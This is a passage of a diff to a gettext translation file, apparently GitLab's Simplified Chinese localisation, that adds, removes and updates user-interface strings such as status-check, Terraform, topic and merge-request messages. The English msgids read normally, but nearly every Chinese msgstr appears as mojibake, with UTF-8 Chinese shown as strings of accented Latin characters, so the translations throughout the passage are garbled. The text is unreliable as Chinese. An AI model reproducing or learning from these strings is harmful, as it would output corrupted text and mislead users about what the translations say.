+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr "Sourcegraph"
@@ -32356,9 +32946,6 @@ msgstr "使用这些更改开始新的åˆå¹¶è¯·æ±‚"
msgid "Start a review"
msgstr "å¯åŠ¨è¯„审"
-msgid "Start and due date"
-msgstr "开始和截止日期"
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr "首先选择一个群组以开始æµè§ˆè¯¥ç¾¤ç»„中的åˆå¹¶è¯·æ±‚。然åŽæ‚¨å¯ä»¥æŒ‰é¡¹ç›®ã€æ ‡è®°ã€é‡Œç¨‹ç¢‘和作者进行筛选。"
@@ -32420,7 +33007,7 @@ msgid "State your message to activate"
msgstr "输入消æ¯ä»¥å¯ç”¨"
msgid "State/Province/City"
-msgstr ""
+msgstr "å·ž/çœ/市"
msgid "Static Application Security Testing (SAST)"
msgstr "é™æ€åº”用程åºå®‰å…¨æµ‹è¯•(SAST)"
@@ -32503,6 +33090,9 @@ msgstr "状æ€:"
msgid "Status: %{title}"
msgstr "状æ€: %{title}"
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr "%{pending} 等待"
@@ -32524,8 +33114,8 @@ msgstr "获å–状æ€æ£€æŸ¥æ—¶å‡ºé”™ã€‚"
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr "将此状æ€æ£€æŸ¥åº”用于所有分支或特定的å—ä¿æŠ¤åˆ†æ”¯ã€‚"
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
-msgstr "检查åˆå¹¶è¯·æ±‚中的状æ€å“应,失败ä¸ä¼šé˜»æ­¢åˆå¹¶ã€‚ %{link_start}了解更多%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
msgid "StatusCheck|Examples: QA, Security."
msgstr "示例:QAã€å®‰å…¨ã€‚"
@@ -32533,6 +33123,9 @@ msgstr "示例:QAã€å®‰å…¨ã€‚"
msgid "StatusCheck|External API is already in use by another status check."
msgstr "外部 API 已被å¦ä¸€ä¸ªçŠ¶æ€æ£€æŸ¥ä½¿ç”¨ã€‚"
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr "无法加载状æ€æ£€æŸ¥ã€‚"
@@ -32554,6 +33147,12 @@ msgstr "æœåŠ¡å称"
msgid "StatusCheck|Status checks"
msgstr "状æ€æ£€æŸ¥"
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr "è¦æ£€æŸ¥çš„状æ€"
@@ -32569,6 +33168,9 @@ msgstr "æ›´æ–°æ­¤åˆå¹¶è¯·æ±‚时,会å‘以下 API å‘é€è°ƒç”¨ä»¥ç¡®è®¤å…¶çŠ¶æ
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr "您将è¦åˆ é™¤ %{name} 状æ€æ£€æŸ¥ã€‚"
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr "AWS %{docsLink}"
@@ -32921,7 +33523,7 @@ msgid "Successfully updated %{last_updated_timeago}."
msgstr "æˆåŠŸæ›´æ–° %{last_updated_timeago}."
msgid "Successfully updated the environment."
-msgstr ""
+msgstr "æˆåŠŸæ›´æ–°çŽ¯å¢ƒã€‚"
msgid "Suggest code changes which can be immediately applied in one click. Try it out!"
msgstr "å¯ä»¥ä¸€é”®åº”用的建议代ç æ›´æ”¹åŠŸèƒ½ã€‚试试看ï¼"
@@ -33164,7 +33766,7 @@ msgid "Survey Response"
msgstr "é—®å·è°ƒæŸ¥ç­”å¤"
msgid "Switch Branches"
-msgstr ""
+msgstr "切æ¢åˆ†æ”¯"
msgid "Switch branch"
msgstr "切æ¢åˆ†æ”¯"
@@ -33353,7 +33955,7 @@ msgid "TagsPage|This tag has no release notes."
msgstr "此标签无å‘行说明。"
msgid "TagsPage|Unable to load tags"
-msgstr ""
+msgstr "无法加载标签"
msgid "TagsPage|Use git tag command to add a new one:"
msgstr "使用git tag命令添加一个:"
@@ -33380,13 +33982,13 @@ msgid "Task ID: %{elastic_task}"
msgstr "任务ID: %{elastic_task}"
msgid "TasksToBeDone|Create/import code into a project (repository)"
-msgstr ""
+msgstr "创建/导入代ç åˆ°é¡¹ç›®ï¼ˆä»“库)"
msgid "TasksToBeDone|Create/import issues (tickets) to collaborate on ideas and plan work"
-msgstr ""
+msgstr "创建/导议题(工å•ï¼‰ä»¥å作想法和规划工作"
msgid "TasksToBeDone|Set up CI/CD pipelines to build, test, deploy, and monitor code"
-msgstr ""
+msgstr "设置 CI/CD æµæ°´çº¿æ¥æž„建ã€æµ‹è¯•ã€éƒ¨ç½²å’Œç›‘视代ç "
msgid "Team"
msgstr "团队"
@@ -33401,7 +34003,7 @@ msgid "TeamcityIntegration|Trigger TeamCity CI after every push to the repositor
msgstr "æ¯æ¬¡æŽ¨é€åˆ°å­˜å‚¨åº“åŽè§¦å‘ TeamCity CI,分支删除除外"
msgid "Telephone number"
-msgstr ""
+msgstr "电è¯å·ç "
msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
msgstr "%{linkStart}在此å馈议题中%{linkEnd},告诉我们您对新 Markdown 编辑器的体验。"
@@ -33552,11 +34154,11 @@ msgstr "状æ€"
msgid "Terraform|Terraform init command"
msgstr "Terraform init 命令"
-msgid "Terraform|The report %{name} failed to generate."
-msgstr "报告%{name}生æˆå¤±è´¥ã€‚"
+msgid "Terraform|The job %{name} failed to generate a report."
+msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
-msgstr "报告 %{name} 是在您的æµæ°´çº¿ä¸­ç”Ÿæˆçš„。"
+msgid "Terraform|The job %{name} generated a report."
+msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
msgstr "è¦ä»Žæœ¬åœ°è®¡ç®—机访问此 terraform state,请在命令行中è¿è¡Œä»¥ä¸‹å‘½ä»¤ã€‚第一行需è¦å…·æœ‰ API 读写访问æƒé™çš„个人访问令牌。 %{linkStart}如何创建个人访问令牌?%{linkEnd}."
@@ -33772,7 +34374,7 @@ msgid "The API key used by GitLab for accessing the Spam Check service endpoint.
msgstr "用于访问垃圾邮件检查æœåŠ¡ç«¯ç‚¹çš„ API 密钥."
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{email} in an attachment."
-msgstr ""
+msgstr "CSV导出将在åŽå°åˆ›å»ºã€‚完æˆåŽï¼Œå®ƒå°†ä»¥é™„件形å¼å‘é€åˆ°%{email}。"
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
msgstr "GitLab 订阅æœåŠ¡ (customers.gitlab.com) ç›®å‰æ­£åœ¨ä¸­æ–­ã€‚您å¯ä»¥é€šè¿‡ %{linkStart}status.gitlab.com%{linkEnd}监控状æ€å¹¶èŽ·å–更新。"
@@ -33807,8 +34409,8 @@ msgstr "Jenkins æœåŠ¡å™¨çš„ URL。"
msgid "The URL should start with http:// or https://"
msgstr "URL 应该以 http:// 或 https:// 开头"
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
-msgstr "用于连接到Elasticsearchçš„URL。使用逗å·åˆ†éš”的列表æ¥æ”¯æŒç¾¤é›†(例如,“http://localhost:9200, http://localhost:9201â€)。"
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
+msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr "在需è¦ç›¸äº’ TLS 与外部授æƒæœåŠ¡é€šä¿¡æ—¶ä½¿ç”¨çš„ X509 è¯ä¹¦ã€‚如果ä¿ç•™ä¸ºç©º, 则在访问 HTTPS æ—¶ä»ç„¶éªŒè¯æœåŠ¡å™¨è¯ä¹¦ã€‚"
@@ -33843,7 +34445,10 @@ msgstr "åˆè§„报告æ•èŽ·è¿ååˆè§„最佳实践的åˆå¹¶æ›´æ”¹ã€‚"
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "该连接将在 %{timeout}åŽè¶…时。如仓库导入耗时超过该时间,请使用克隆/推é€ç»„åˆã€‚"
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -33944,7 +34549,7 @@ msgid "The form contains the following warning:"
msgstr "该表格包å«ä»¥ä¸‹è­¦å‘Šï¼š"
msgid "The git server, Gitaly, is not available at this time. Please contact your administrator."
-msgstr ""
+msgstr "git æœåŠ¡å™¨ Gitaly ç›®å‰ä¸å¯ç”¨ã€‚请è”系您的管ç†å‘˜ã€‚"
msgid "The global settings require you to enable Two-Factor Authentication for your account."
msgstr "系统设置è¦æ±‚您为å¸æˆ·å¯ç”¨åŒé‡è®¤è¯ã€‚"
@@ -34031,7 +34636,7 @@ msgid "The license was successfully uploaded and will be active from %{starts_at
msgstr "许å¯è¯å·²æˆåŠŸä¸Šä¼ ï¼Œå°†äºŽ%{starts_at}激活。您å¯ä»¥åœ¨ä¸‹é¢çœ‹åˆ°è¯¦ç»†ä¿¡æ¯ã€‚"
msgid "The list creation wizard is already open"
-msgstr ""
+msgstr "列表创建å‘导已打开"
msgid "The maximum file size allowed is %{size}."
msgstr "å…许的最大文件大å°ä¸º %{size}。"
@@ -34048,9 +34653,6 @@ msgstr "最大文件大å°ä¸º %{size}。"
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr "一个群组æ¯æœˆå¯ä»¥åœ¨å…±äº«runner上使用的最大æµæ°´çº¿åˆ†é’Ÿæ•°ã€‚ 0 表示无é™åˆ¶ã€‚"
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr "在 Elasticsearch é‡æ–°ç´¢å¼•æœŸé—´å…许åŒæ—¶è¿è¡Œçš„最大切片数。了解有关 %{max_slices_running_link_start}最大è¿è¡Œåˆ‡ç‰‡é…ç½®%{max_slices_link_end}更多信æ¯ã€‚"
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr "å•ä¸ªworker接å—清ç†çš„最大标签数。如果标签数é‡è¶…过此é™åˆ¶ï¼Œåˆ™è¦åˆ é™¤çš„标签列表将被截断为该数é‡ã€‚è¦å–消此é™åˆ¶ï¼Œè¯·å°†å…¶è®¾ç½®ä¸º 0。"
@@ -34183,9 +34785,6 @@ msgstr "该代ç ç‰‡æ®µä»…对项目æˆå‘˜å¯è§ã€‚"
msgid "The snippet is visible to any logged in user except external users."
msgstr "该代ç ç‰‡æ®µå¯¹é™¤å¤–部用户外的所有登录用户å¯è§ã€‚"
-msgid "The source branch will be deleted"
-msgstr "æºåˆ†æ”¯å°†è¢«åˆ é™¤"
-
msgid "The specified tab is invalid, please select another"
msgstr "指定标签页无效,请选择å¦ä¸€ä¸ª"
@@ -34240,6 +34839,9 @@ msgstr "æ¼æ´žå·²ä¸å†è¢«æ£€æµ‹åˆ°ã€‚请在更改其状æ€å‰ç¡®ä¿æ¼æ´žå·²ä¿®
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr "æ¼æ´žå·²ä¸å†è¢«æ£€æµ‹åˆ°ã€‚请在更改其状æ€å‰ç¡®ä¿æ¼æ´žå·²ä¿®è¡¥ã€‚"
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr "当å‰æ²¡æœ‰äº‹ä»¶ã€‚"
@@ -34331,14 +34933,11 @@ msgid "There are no projects shared with this group yet"
msgstr "当å‰å°šæ— åˆ†äº«ç»™è¯¥ç¾¤ç»„的项目"
msgid "There are no topics to show."
-msgstr ""
+msgstr "没有è¦æ˜¾ç¤ºçš„主题。"
msgid "There are no variables yet."
msgstr "还没有å˜é‡ã€‚"
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr "存在需è¦æš‚åœç´¢å¼•çš„待处ç†é«˜çº§æœç´¢è¿ç§»ã€‚索引必须ä¿æŒæš‚åœï¼Œç›´åˆ°è¿ç§»å®Œæˆã€‚"
-
msgid "There are running deployments on the environment. Please retry later."
msgstr "环境上有正在è¿è¡Œçš„部署。请ç¨åŽé‡è¯•ã€‚"
@@ -34351,9 +34950,6 @@ msgstr "为了ä¿æŠ¤è¯¥ç³»ç»Ÿï¼Œå®žè¡Œäº†å‡ ç§é€ŸçŽ‡é™åˆ¶ã€‚"
msgid "There are several size limits in place."
msgstr "有几个大å°é™åˆ¶ã€‚"
-msgid "There is a halted Elasticsearch migration"
-msgstr "Elasticsearch è¿ç§»å·²åœæ­¢"
-
msgid "There is already a repository with that name on disk"
msgstr "ç£ç›˜ä¸Šå·²å­˜åœ¨å…·æœ‰è¯¥å称的仓库"
@@ -34418,7 +35014,7 @@ msgid "There was a problem fetching recent projects."
msgstr "获å–最近的项目时出现问题。"
msgid "There was a problem fetching releases."
-msgstr ""
+msgstr "获å–版本时出错。"
msgid "There was a problem fetching the job token scope value"
msgstr "获å–作业令牌范围值时出现问题"
@@ -34712,7 +35308,7 @@ msgid "This block is self-referential"
msgstr "该阻塞为自我引用"
msgid "This board's scope is reduced"
-msgstr "此看æ¿èŒƒå›´ç¼©å°äº†"
+msgstr "此看æ¿èŒƒå›´å·²ç¼©å°"
msgid "This chart could not be displayed"
msgstr "无法显示此图表"
@@ -34729,6 +35325,9 @@ msgstr "此评论在您开始编辑åŽå‘生了å˜åŒ–。查看 %{startTag}æ›´æ–°
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr "æ­¤æ交是åˆå¹¶è¯·æ±‚ %{link_to_merge_request} 的一部分。此处创建的评论将在该åˆå¹¶è¯·æ±‚的上下文中创建。"
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr "æ­¤æ交使用%{strong_open}已验è¯çš„%{strong_close}ç­¾å进行签署,并且已验è¯æ交者的电å­é‚®ä»¶å±žäºŽåŒä¸€ç”¨æˆ·ã€‚"
@@ -34747,12 +35346,6 @@ msgstr "由于%{reason},无法显示此内容。您å¯ä»¥%{options}以代替ã€
msgid "This credential has expired"
msgstr "此凭è¯å·²è¿‡æœŸ"
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr "此日期在截止日期之åŽï¼Œå› æ­¤è¯¥ å²è¯— ä¸ä¼šå‡ºçŽ°åœ¨è·¯çº¿å›¾ä¸­ã€‚"
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr "此日期在开始日期之å‰ï¼Œå› æ­¤è¯¥ å²è¯— ä¸ä¼šå‡ºçŽ°åœ¨è·¯çº¿å›¾ä¸­ã€‚"
-
msgid "This device has already been registered with us."
msgstr "此设备已注册。"
@@ -34801,6 +35394,12 @@ msgstr "此字段为必填项"
msgid "This field is required."
msgstr "该字段是必填字段。"
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr "此表å•åœ¨é¢„览中被ç¦ç”¨"
@@ -34829,7 +35428,7 @@ msgid "This group, its subgroups and projects has been scheduled for removal on
msgstr "此群组ã€å…¶å­ç¾¤ç»„和项目已安排在%{date}移除。"
msgid "This group, its subgroups and projects will be removed on %{date} since its parent group '%{parent_group_name}' has been scheduled for removal."
-msgstr ""
+msgstr "此群组ã€å…¶å­ç¾¤ç»„åŠé¡¹ç›®å°†äºŽ%{date}被删除,因为其父群组“%{parent_group_name}â€å·²è¢«è®¡åˆ’移除。"
msgid "This invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr "此邀请已å‘é€è‡³ %{mail_to_invite_email},但您以 %{link_to_current_user} 身份使用电å­é‚®ä»¶ %{mail_to_current_user}登录。"
@@ -34855,12 +35454,15 @@ msgstr "这是一个åˆå¹¶é˜Ÿåˆ—æµæ°´çº¿"
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr "这是专为您生æˆçš„ç§äººç”µå­é‚®ä»¶åœ°å€ %{helpIcon} 任何拥有它的人都å¯ä»¥åƒæ‚¨ä¸€æ ·åˆ›å»ºé—®é¢˜æˆ–åˆå¹¶è¯·æ±‚。如果å‘生这ç§æƒ…况, %{resetLinkStart}é‡ç½®è¿™ä¸ªä»¤ç‰Œ%{resetLinkEnd}。"
-msgid "This is a security log of important events involving your account."
-msgstr "这是一个涉åŠæ‚¨çš„å¸æˆ·é‡è¦äº‹ä»¶çš„安全日志。"
+msgid "This is a security log of authentication events involving your account."
+msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr "这是GitLab的自管ç†å®žä¾‹ã€‚"
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr "此数字为自许å¯è¯å¯åŠ¨ä»¥æ¥ç”¨æˆ·æ•°ç›®çš„最高值。"
@@ -34870,6 +35472,9 @@ msgstr "此数目为您æœåŠ¡å™¨å½“å‰%{billable_users_link_start}收费用户%{
msgid "This is your current session"
msgstr "这是您当å‰çš„会è¯"
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr "此问题目å‰è¢«ä»¥ä¸‹é—®é¢˜é˜»æ­¢ï¼š"
@@ -35005,9 +35610,6 @@ msgstr "æ­¤åˆå¹¶è¯·æ±‚是从内部项目到公开项目。"
msgid "This merge request is locked."
msgstr "æ­¤åˆå¹¶è¯·æ±‚å·²é”定。"
-msgid "This merge request is still a draft."
-msgstr "æ­¤åˆå¹¶è¯·æ±‚ä»ç„¶æ˜¯è‰ç¨¿ã€‚"
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr "åˆå¹¶è¯·æ±‚å·²åˆå¹¶ã€‚è¦åº”用此建议,请直接编辑此文件。"
@@ -35050,6 +35652,9 @@ msgstr "该项目尚无wiki主页"
msgid "This project has no active access tokens."
msgstr "此项目没有有效的访问令牌。"
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr "此项目已存档,无法添加评论。"
@@ -35132,10 +35737,10 @@ msgid "This variable can not be masked."
msgstr "æ­¤å˜é‡æ— æ³•è¢«éšè—。"
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
-msgstr ""
+msgstr "这会使您注册的应用程åºå’Œ U2F / WebAuthn 设备无效。"
msgid "This will invalidate your registered applications and U2F devices."
-msgstr ""
+msgstr "这将使您的注册应用程åºå’Œ U2F 设备无效。"
msgid "This will redirect you to an external sign in page."
msgstr "这会将您é‡å®šå‘到外部登录页é¢ã€‚"
@@ -35149,8 +35754,8 @@ msgstr "这将删除此项目与派生网络中其他项目之间的派生关系
msgid "Thread to reply to cannot be found"
msgstr "找ä¸åˆ°è¦å›žå¤çš„主题"
-msgid "Threat Monitoring"
-msgstr "å¨èƒç›‘测"
+msgid "Threat monitoring"
+msgstr ""
msgid "ThreatMonitoring|Alert Details"
msgstr "警报详细信æ¯"
@@ -35276,7 +35881,7 @@ msgid "Threshold in bytes at which to reject Sidekiq jobs. Set this to 0 to if y
msgstr "æ‹’ç» Sidekiq 作业的阈值(以字节为å•ä½ï¼‰ã€‚如果您ä¸æƒ³é™åˆ¶ Sidekiq 作业,请将其设置为 0。"
msgid "Threshold number of changes (branches or tags) in a single push above which a bulk push event is created (default is 3)."
-msgstr ""
+msgstr "å•ä¸ªæŽ¨é€ä¸­æ›´æ”¹ï¼ˆåˆ†æ”¯æˆ–标签)的阈值数é‡ï¼Œé«˜äºŽè¯¥é˜ˆå€¼ä¼šåˆ›å»ºæ‰¹é‡æŽ¨é€äº‹ä»¶ï¼ˆé»˜è®¤å€¼ä¸º 3)。"
msgid "Throughput"
msgstr "åžåé‡"
@@ -35608,7 +36213,7 @@ msgid "To ensure no loss of personal content, this account should only be used f
msgstr "为ä¿è¯ä¸ªäººå†…容ä¸ä¸¢å¤±ï¼Œæœ¬è´¦å·ä»…用于与 %{group_name}相关的事项。"
msgid "To find the state of this project's repository at the time of any of these versions, check out %{link_start}the tags%{link_end}"
-msgstr ""
+msgstr "è¦åœ¨ä»»ä½•è¿™äº›ç‰ˆæœ¬ä¸­æŸ¥æ‰¾æ­¤é¡¹ç›®å­˜å‚¨åº“的状æ€ï¼Œè¯·æ£€æŸ¥ %{link_start}标签%{link_end}。"
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr "为了进一步ä¿æŠ¤æ‚¨çš„å¸æˆ·ï¼Œè¯·è€ƒè™‘é…置一个%{mfa_link_start}åŒé‡èº«ä»½éªŒè¯%{mfa_link_end}方法。"
@@ -35644,7 +36249,7 @@ msgid "To keep this project going, create a new merge request"
msgstr "为了ä¿æŒè¿™ä¸ªé¡¹ç›®çš„进行,请创建一个新的åˆå¹¶è¯·æ±‚"
msgid "To learn more about this project, read %{link_to_wiki}"
-msgstr ""
+msgstr "è¦äº†è§£æ›´å¤šå…³äºŽæ­¤é¡¹ç›®çš„ä¿¡æ¯ï¼Œè¯·é˜…读 %{link_to_wiki}"
msgid "To move or copy an entire GitLab project from another GitLab installation to this one, navigate to the original project's settings page, generate an export file, and upload it here."
msgstr "如需将整个GitLab项目从å¦ä¸€ä¸ªGitLabæœåŠ¡å™¨ç§»åŠ¨æˆ–å¤åˆ¶åˆ°æ­¤æœåŠ¡å™¨ï¼Œè¯·è®¿é—®åŽŸé¡¹ç›®çš„设置页é¢ï¼Œç”Ÿæˆå¯¼å‡ºæ–‡ä»¶ï¼Œç„¶åŽåœ¨æ­¤å¤„上载。"
@@ -35691,6 +36296,9 @@ msgstr "è¦æŸ¥çœ‹æ­¤é¡¹ç›®çš„æ“作详情, %{linkStart}将群组方案å‡çº§åˆ
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr "è¦æŸ¥çœ‹è¯¥é¡¹ç›®çš„è¿ç»´è¯¦ç»†ä¿¡æ¯ï¼Œè¯·ä¸Ž%{groupName}群组的所有者è”系以å‡çº§è®¢é˜…计划。或者您也å¯ä»¥ä»Žä»ªè¡¨æ¿ä¸Šåˆ é™¤æ­¤é¡¹ç›®ã€‚"
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr "通过Azure,Okta,Onelogin,Ping Identity或自定义SAML 2.0等身份验è¯ç¨‹åºä¸ºæ‚¨çš„群组设置SAML身份验è¯ï¼š"
@@ -35715,6 +36323,9 @@ msgstr "è¦ä½¿ç”¨Gitpod,您必须首先在 %{user_prefs}的“集æˆâ€éƒ¨åˆ†ä
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr "è¦ä½¿ç”¨å…¶å®ƒæ ¼å¼ï¼Œæ‚¨å¿…é¡»å¯åŠ¨æ‰€éœ€çš„ %{container_link_start}ä¼´éšå®¹å™¨%{container_link_end}。"
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr "如需查看所有%{scannedResourcesCount}已扫æ网å€ï¼Œ%{linkStart}请下载CSV文件%{linkEnd}"
@@ -35820,32 +36431,29 @@ msgstr "明日"
msgid "Too many changes to show."
msgstr "è¦æ˜¾ç¤ºçš„å˜æ›´å¤ªå¤šã€‚"
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
-msgstr "å¯ç”¨äº†å¤ªå¤šçš„命å空间。您需è¦é€šè¿‡æŽ§åˆ¶å°æˆ–APIæ¥ç®¡ç†å®ƒä»¬ã€‚"
+msgid "Too many namespaces enabled. Manage them through the console or the API."
+msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
-msgstr "å¯ç”¨äº†å¤ªå¤šçš„项目。您需è¦é€šè¿‡æŽ§åˆ¶å°æˆ–APIæ¥ç®¡ç†å®ƒä»¬ã€‚"
+msgid "Too many projects enabled. Manage them through the console or the API."
+msgstr ""
msgid "TopNav|Go back"
msgstr "返回"
msgid "Topic %{topic_name} was successfully created."
-msgstr ""
+msgstr "主题 %{topic_name} å·²æˆåŠŸåˆ›å»ºã€‚"
msgid "Topic avatar"
-msgstr ""
+msgstr "主题头åƒ"
msgid "Topic name"
-msgstr ""
+msgstr "主题å称"
msgid "Topic was successfully updated."
-msgstr ""
+msgstr "主题已æˆåŠŸæ›´æ–°ã€‚"
msgid "Topics"
-msgstr ""
-
-msgid "Topics (optional)"
-msgstr "主题(å¯é€‰)"
+msgstr "主题"
msgid "Total"
msgstr "全部"
@@ -35907,6 +36515,9 @@ msgstr "使用快æ·æ“作æ¥ç»Ÿè®¡å·¥æ—¶"
msgid "Track your GitLab projects with GitLab for Slack."
msgstr "使用GitLab for Slack跟踪您的GitLab项目。"
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr "转移"
@@ -35938,7 +36549,7 @@ msgid "TransferGroup|Group is already associated to the parent group."
msgstr "群组已与父群组关è”。"
msgid "TransferGroup|The parent group already has a subgroup or a project with the same path."
-msgstr ""
+msgstr "父组已ç»æœ‰ä¸€ä¸ªå…·æœ‰ç›¸åŒè·¯å¾„çš„å­ç»„或项目。"
msgid "TransferGroup|Transfer failed: %{error_message}"
msgstr "转移失败: %{error_message}"
@@ -36076,8 +36687,8 @@ msgstr "通过生æˆè§¦å‘令牌并将其与 API 调用一起使用,为分支æ
msgid "Trigger cluster reindexing"
msgstr "触å‘集群é‡å»ºç´¢å¼•"
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
-msgstr "触å‘集群索引é‡å»ºï¼Œæ­¤åŠŸèƒ½åº”与 13.0 之åŽåˆ›å»ºçš„索引一起使用。"
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
+msgstr ""
msgid "Trigger manual job"
msgstr "触å‘手动作业"
@@ -36133,6 +36744,12 @@ msgstr "请å°è¯•æ›´æ”¹æˆ–删除筛选器。"
msgid "Try grouping with different labels"
msgstr "å°è¯•ä½¿ç”¨ä¸åŒçš„标记分组"
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr "å°è¯•å†æ¬¡æ´¾ç”Ÿ"
@@ -36305,7 +36922,7 @@ msgid "Unable to fetch branches list, please close the form and try again"
msgstr "无法获å–分支列表,请关闭表å•å¹¶é‡è¯•"
msgid "Unable to fetch upstream and downstream pipelines."
-msgstr ""
+msgstr "无法获å–上游和下游æµæ°´çº¿ã€‚"
msgid "Unable to fetch vulnerable projects"
msgstr "无法获å–å¯èƒ½å­˜åœ¨æ¼æ´žçš„项目"
@@ -36331,9 +36948,6 @@ msgstr "无法加载差异。 %{button_try_again}"
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr "无法加载åˆå¹¶è¯·æ±‚部件。请å°è¯•é‡æ–°åŠ è½½é¡µé¢ã€‚"
-msgid "Unable to save cadence. Please try again"
-msgstr "无法ä¿å­˜å‘¨æœŸã€‚请å†è¯•ä¸€æ¬¡"
-
msgid "Unable to save iteration. Please try again"
msgstr "无法ä¿å­˜è¿­ä»£ã€‚请é‡è¯•"
@@ -36392,7 +37006,7 @@ msgid "Unauthenticated web rate limit period in seconds"
msgstr "未ç»èº«ä»½éªŒè¯çš„ Web 速率é™åˆ¶æœŸï¼ˆä»¥ç§’为å•ä½ï¼‰"
msgid "Uncommitted changes will be lost if you change branches. Do you want to continue?"
-msgstr ""
+msgstr "如果您更改分支,未æ交的更改将丢失。您想è¦ç»§ç»­å—?"
msgid "Undo"
msgstr "撤消"
@@ -36439,6 +37053,9 @@ msgstr "未知的格å¼"
msgid "Unknown response text"
msgstr "未知的å“应文本"
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr "未知用户"
@@ -36523,9 +37140,6 @@ msgstr "å–消订阅%{quick_action_target}."
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr "传入了ä¸æ”¯æŒçš„待办事项类型。支æŒçš„待办事项类型为: %{todo_types}"
-msgid "Until"
-msgstr "直到"
-
msgid "Until revoked, expired personal access tokens pose a security risk."
